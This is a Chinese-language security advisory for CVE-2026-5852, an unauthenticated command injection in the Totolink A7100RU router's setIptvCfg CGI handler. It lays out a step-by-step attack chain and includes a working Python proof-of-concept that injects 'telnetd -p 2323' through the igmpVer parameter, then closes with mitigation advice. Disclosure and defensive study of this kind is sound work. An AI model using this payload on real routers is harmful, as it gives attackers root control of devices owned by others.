IPBUF安全漏洞报告
English
CVE-2026-5852 CVSS 9.8 严重

CVE-2026-5852 Totolink A7100RU远程命令执行漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-5852
漏洞类型
操作系统命令注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Totolink A7100RU

相关标签

RCE命令注入IoT路由器TotolinkCVSS-9.8

漏洞概述

Totolink A7100RU路由器(固件版本7.4cu.2313_b20191024)的/cgi-bin/cstecgi.cgi接口中存在严重的安全漏洞。该漏洞影响了setIptvCfg函数,由于未对输入参数进行有效过滤,攻击者可以通过操纵igmpVer参数注入任意操作系统命令。该攻击可远程发起,无需身份认证且无需用户交互。成功利用此漏洞可能导致攻击者完全控制设备,造成敏感信息泄露、数据篡改或服务中断。目前相关利用代码已公开披露。

技术细节

该漏洞源于Totolink A7100RU路由器固件中CGI处理程序的输入验证机制缺失。具体而言,在处理`/cgi-bin/cstecgi.cgi`路径下的`setIptvCfg`功能请求时,程序直接将用户提交的`igmpVer`参数传递给后台系统命令执行环境,未进行任何安全过滤或转义。攻击者可以构造特制的HTTP POST请求,在`igmpVer`参数中注入Shell元字符(如`;`, `|`, `&&`等)。当后端脚本解析该参数并执行相关的IPTV配置系统调用时,恶意参数将被传递给底层的系统Shell(如/bin/sh)执行。由于该服务通常以root权限运行,攻击者可利用此缺陷在目标系统上执行任意操作系统命令,获取最高权限。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描网络,识别暴露在互联网上的Totolink A7100RU设备,并确认其固件版本是否为7.4cu.2313_b20191024。
STEP 2
2. 构造恶意请求
攻击者构造针对/cgi-bin/cstecgi.cgi的HTTP POST请求,在setIptvCfg函数的igmpVer参数中注入恶意的Shell命令。
STEP 3
3. 发送攻击载荷
将构造好的恶意数据包发送给目标设备。由于无需认证(PR:N),设备直接接收并处理该请求。
STEP 4
4. 命令执行
设备后端CGI程序解析参数,将注入的恶意代码传递给系统Shell执行,从而开启后门或执行破坏性操作。
STEP 5
5. 建立控制
攻击者获得设备的Root权限Shell,可完全控制路由器,窃密或作为跳板攻击内网。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (replace with actual IP) target_url = "http://192.168.0.1/cgi-bin/cstecgi.cgi" # Headers often required by router web interfaces headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded", "Cookie": "uid=1234" # May or may not be needed depending on auth requirements (PR:N implies none) } # The vulnerable payload injecting a command (e.g., telnetd or reboot) # The parameter 'igmpVer' is the injection point payload_data = { "function": "setIptvCfg", "igmpVer": "v3; telnetd -p 2323 &" # Injection payload to start telnet } try: response = requests.post(target_url, data=payload_data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check if telnet started on port 2323.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")

影响范围

Totolink A7100RU 7.4cu.2313_b20191024

防御指南

临时缓解措施
在官方未发布补丁前,建议用户关闭路由器的远程管理功能(Web Remote Management),并将管理后台仅限制在本地局域网访问。同时,可以通过防火墙规则阻断对外部IP对/cgi-bin/cstecgi.cgi路径的访问请求,以降低被攻击的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表